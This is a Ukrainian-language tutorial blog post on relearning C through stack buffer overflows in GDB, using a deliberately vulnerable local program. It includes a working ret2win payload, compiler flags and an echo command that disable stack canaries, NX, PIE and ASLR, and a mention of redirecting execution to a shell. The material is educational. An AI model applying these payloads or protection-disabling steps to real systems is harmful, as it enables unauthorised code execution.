Категорія: Безпека, C, Embedded, Linux
Вступ: перша мова, довга пауза і повернення
Мій шлях у програмуванні починався з C. Не з Python, не з JavaScript — а саме з C, покажчиків і segfault-ів о другій ночі. Потім я пішов у веброзробку, Angular, PHP, Node.js — і на роки забув що таке char buf[8]. Але затягнуло в залізо: Pi Pico, STM32, Luckfox, bare-metal програмування. І раптом C знову скрізь — в даташитах, в прошивках, в кожному #define який треба розуміти.
Паралельно зацікавився кібербезпекою. І тут я відкрив для себе що buffer overflow — це не просто “баг у старому коді”. Це вікно в те, як комп’ютер реально працює. Як стек влаштований. Як CPU вирішує куди стрибати далі. Речі, які жоден туторіал по веброзробці ніколи не пояснює.
Ця стаття — про те як я освіжав C через практику з GDB і buffer overflow. Все виконувалось локально на Ubuntu 22.04, в навчальних цілях, на спеціально вразливих програмах. Жодних реальних систем не постраждало 😄
Частина 1: gets() і чому його ненавидять
Починаємо з простого. Ось програма яку gcc ненавидить, але все одно компілює:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#include <stdio.h> #include <string.h> void secret() { printf("🔓 Ти зламав програму!\n"); } int main() { char buf[8]; gets(buf); printf("Ви ввели: %s\n", buf); return 0; } |
Компілюємо з відключеними захистами (щоб побачити “чисту” поведінку):
gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
gcc одразу попереджає:
warning: the `gets’ function is dangerous and should not be used.
Але ми все одно запускаємо. Чому? Бо хочемо побачити що відбувається всередині. gets() — функція яка читає рядок з stdin і не перевіряє розмір буфера. Скільки ввів — стільки й записала. Навіть якщо буфер всього 8 байт, а ти вводиш 100.
Частина 2: GDB — дивимось на стек своїми очима
Запускаємо GDB і подаємо на вхід паттерн з різних літер:
gdb ./vuln
(gdb) run
> AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Програма крашиться. Дивимось що в пам’яті:
(gdb) x/8gx $rsp
0x7fffffffd3d8: 0x4343434343434343 0x4444444444444444
0x7fffffffd3e8: 0x0000000000401100 0x0000000100000000
Ось воно! 0x43 — це ASCII код літери C. Тобто наші CCCCCCCC лежать прямо там де має бути return address — адреса куди CPU стрибне після завершення main().
Розкладка стеку виглядає так:
AAAAAAAА → buf[8] ← наш буфер
BBBBBBBB → saved rbp ← затерли base pointer
CCCCCCCC → return address ← ось тут контроль!
DDDDDDDD → наступне ← про запас
Частина 3: ret2win — стрибаємо на secret()
Тепер найцікавіше. Ми знаємо що CCCCCCCC замінює return address. А що якщо замість CCCC підставити реальну адресу функції secret() яку ніколи не викликають через нормальний flow?
Знаходимо адресу в GDB:
(gdb) p secret
$1 = {void ()} 0x401176 <secret>
Адреса: 0x401176. Підставляємо її в little-endian форматі (x86 зберігає байти у зворотньому порядку):
(gdb) run < <(python3 -c “import sys; sys.stdout.buffer.write(
b’A’*8 + b’B’*8 + b’\x76\x11\x40\x00\x00\x00\x00\x00′)”)
Результат:
Ви ввели: AAAAAAAABBBBBBBBv@
🔓 Ти зламав програму!
Program received signal SIGSEGV, Segmentation fault.
ПРАЦЮЄ! 🎉 Програма викликала функцію яку “неможливо” викликати. Segfault після — це нормально, secret() завершилась і спробувала повернутись на сміттєву адресу.
Це і є класичний ret2win — перший клас задач у CTF змаганнях. В реальних атаках замість secret() підставляють адресу system(“/bin/sh”) або власний shellcode.
Частина 4: Stack Canary — захист що дійсно працює
Тепер подивимось як сучасний компілятор захищає від цього. Перекомпілюємо без прапорця -fno-stack-protector:
gcc -z execstack -no-pie -g -o vuln_safe vuln.c
Запускаємо той самий payload:
*** stack smashing detected ***: terminated
Program received signal SIGABRT, Aborted.
Той самий payload — абсолютно інший результат. Програма навіть не дійшла до ret.
Що таке canary? gcc автоматично вставляє між буфером і rbp випадкове значення — “канарку”. Перед виконанням ret програма перевіряє чи canary не змінився. Якщо змінився — одразу abort().
Стек БЕЗ захисту: Стек З canary:
[ buf[8] ] [ buf[8] ]
[ saved rbp ] [ canary value ] ← нове!
[ return addr ] [ saved rbp ]
[ return addr ]
Наш overflow затирає canary разом з усім іншим — і захист спрацьовує до того як CPU стрибає кудись не туди.
Частина 5: Сучасні захисти — чому це не так просто
Ми компілювали з -no-pie і -z execstack — відключали захисти щоб побачити чисту картину. В реальних системах є кілька рівнів захисту:
| Захист | Що робить | Як відключити (для навчання) |
| Stack Canary | Канарка між buf і ret addr | -fno-stack-protector |
| ASLR | Рандомізує адреси при кожному запуску | echo 0 > /proc/sys/kernel/randomize_va_space |
| NX/DEP | Стек не виконуваний | -z execstack |
| PIE | Сам бінарник теж рандомний | -no-pie |
ASLR — особливо цікавий. Запусти двічі і порівняй адреси:
$ cat /proc/self/maps | head -3
# запуск 1: 55a3f2401000-55a3f2402000
# запуск 2: 55b8c1234000-55b8c1235000 ← інша адреса!
Саме тому наш exploit з хардкодженою адресою 0x401176 спрацював лише тому що ми компілювали з -no-pie. З PIE кожен запуск дає нову адресу і наш payload промахується.
Частина 6: Чому це важливо для embedded розробника
“Окей, але навіщо це знати якщо я пишу прошивки для мікроконтролерів?” — запитаєш ти.
А ось навіщо:
- IoT пристрої часто не мають ASLR, canary і NX — це буквально системи 90-х з точки зору безпеки
- Бачиш gets(), strcpy(), sprintf() без перевірки розміру в чужому коді — це одразу червоний прапор
- Роутери, камери, промислові контролери — все це C код, часто без захистів
- CTF змагання — ret2win це буквально перша категорія задач, відмінна практика
Розуміння buffer overflow дає розуміння чому існують певні правила безпечного кодування — а не просто “так треба”.
Висновок: C у 2026 — не ностальгія, а інструмент
Я повернувся до C не тому що це модно. А тому що без нього неможливо по-справжньому розуміти що відбувається під капотом — ні в embedded, ні в кібербезпеці, ні в системному програмуванні Linux.
Buffer overflow — це не просто “старий баг”. Це вікно в архітектуру x86, в те як стек організований, як CPU приймає рішення куди стрибати. Після цих експериментів в GDB будь-який C код читається зовсім інакше.
Якщо ти теж повертаєшся до C після паузи — починай не з підручника, а з GDB і навмисно вразливої програми. Побач segfault зсередини. Це запам’ятовується краще за будь-яку теорію.
Інструменти з статті: gcc, GDB, Ubuntu 22.04, python3
Прапорці компіляції: -fno-stack-protector -z execstack -no-pie -g
Все виконувалось локально на спеціально вразливих програмах. Не застосовуй до реальних систем без дозволу.
Якщо стаття була корисною — ставте плюс і пишіть питання в коментарях. Продовження про ASLR і сучасні техніки обходу захистів — якщо зайде 🔐